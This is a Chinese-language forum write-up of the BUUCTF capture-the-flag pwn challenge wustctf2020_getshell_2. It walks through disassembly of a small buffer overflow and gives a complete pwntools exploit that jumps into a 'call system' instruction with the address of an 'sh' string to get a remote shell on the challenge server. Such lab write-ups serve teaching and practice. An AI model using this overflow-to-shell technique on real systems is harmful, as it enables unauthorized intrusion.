找回密码
 立即注册

BUUCTF-wustctf2020_getshell_2

焦和玉 2025-11-9 21:16

BUUCTF-wustctf2020_getshell_2

一、题目来源

BUUCTF-Pwn-wustctf2020_getshell_2

二、信息搜集

通过 file 命令查看文件类型:

image

通过 checksec 命令查看文件采用的保护措施:

image

三、反汇编文件开始分析

main 函数中调用了 vulnerable 函数,点进去查看逻辑:

[code].text:08048582 public vulnerable .text:08048582 vulnerable proc near ; CODE XREF: main+16↓p .text:08048582 .text:08048582 buf= byte ptr -18h .text:08048582 .text:08048582 ; __unwind { .text:08048582 000 55 push ebp .text:08048583 004 89 E5 mov ebp, esp .text:08048585 004 83 EC 18 sub esp, 18h .text:08048588 01C 83 EC 04 sub esp, 4 .text:0804858B 020 6A 24 push 24h ; '$' ; nbytes .text:0804858D 024 8D 45 E8 lea eax, [ebp+buf] .text:08048590 024 50 push eax ; buf .text:08048591 028 6A 00 push 0 ; fd .text:08048593 02C E8 18 FE FF FF call _read .text:08048593 .text:08048598 02C 83 C4 10 add esp, 10h .text:0804859B 01C 90 nop .text:0804859C 01C C9 leave .text:0804859D 000 C3 retn .text:0804859D ; } // starts at 8048582 .text:0804859D .text:0804859D vulnerable endp [/code]

不难发现,read 存在溢出的现象,但是溢出的长度并不多,除去无效 padding 部分,有效 payload 只能占 8 字节。

我们再注意到 .text 段中存在一个名为 shell 的函数,其代码:

[code].text:0804851B public shell .text:0804851B shell proc near .text:0804851B ; __unwind { .text:0804851B 000 55 push ebp .text:0804851C 004 89 E5 mov ebp, esp .text:0804851E 004 83 EC 08 sub esp, 8 .text:08048521 00C 83 EC 0C sub esp, 0Ch .text:08048524 018 68 50 86 04 08 push offset command ; "/bbbbbbbbin_what_the_f?ck__--??/sh" .text:08048529 01C E8 B2 FE FF FF call _system .text:08048529 .text:0804852E 01C 83 C4 10 add esp, 10h .text:08048531 00C 90 nop .text:08048532 00C C9 leave .text:08048533 000 C3 retn .text:08048533 ; } // starts at 804851B .text:08048533 .text:08048533 shell endp [/code]

虽说其调用了 system 函数,但是其参数明显是来捣乱的。

但是,我们同时可以注意到,"sh"字符处于"/bbbbbbbbin_what_the_f?ck__--??/sh"这一长串字符的末尾部分,那么我们就可以采取“字符串劫持”的手段来提取字符"sh",若服务器端将"sh"放在环境变量中,我们依然可以实现 getshell。

[code].rodata:08048650 2F 62 62 62 62 62 62 62 62 69 command db '/bbbbbbbbin_what_the_f?ck__--??/sh',0 [/code]

明显,我们的字符串 b'sh\x00' 所在的位置是 0x08048670

四、Poc 构造

我们不能直接使用 system@plt 地址来构造我们的 ROP。

原因很简单,我们的有效 ROP 只允许我们添加两个 gadget,但是若要在 32 位CPU架构的计算机中正常调用 system 需要 3 个 gadget 即:

[code]padding + system + fake_ret + arg1 [/code]

但是,好在 shell 函数提供了新的思路给我们。

我们不一定要“自己构造 ROP 来实现函数调用”,我们可以直接用 shell 中的 call 来实现函数调用,只需要将地址定位在 0x08048529,即:

[code].text:08048529 01C E8 B2 FE FF FF call _system [/code]

从这开始运行,即CPU 默认你在栈上已经准备好了 system 所需要的参数。根据栈溢出,我们很容易实现在栈上准备好这个“参数”。

因此,最终 Poc:

[code]from pwn import * context(arch="i386",os="linux",log_level="debug") # p = process("./pwn") elf = ELF("./pwn") p = remote("node5.buuoj.cn",25151) padding = 0x1c system = 0x08048529 sh = 0x08048670 payload = b'A'*padding + p32(system) + p32(sh) p.send(payload) p.interactive() [/code]

运行:

image

成功拿下 Flag!


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

路过

雷人

握手

鲜花

鸡蛋
文章点评
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。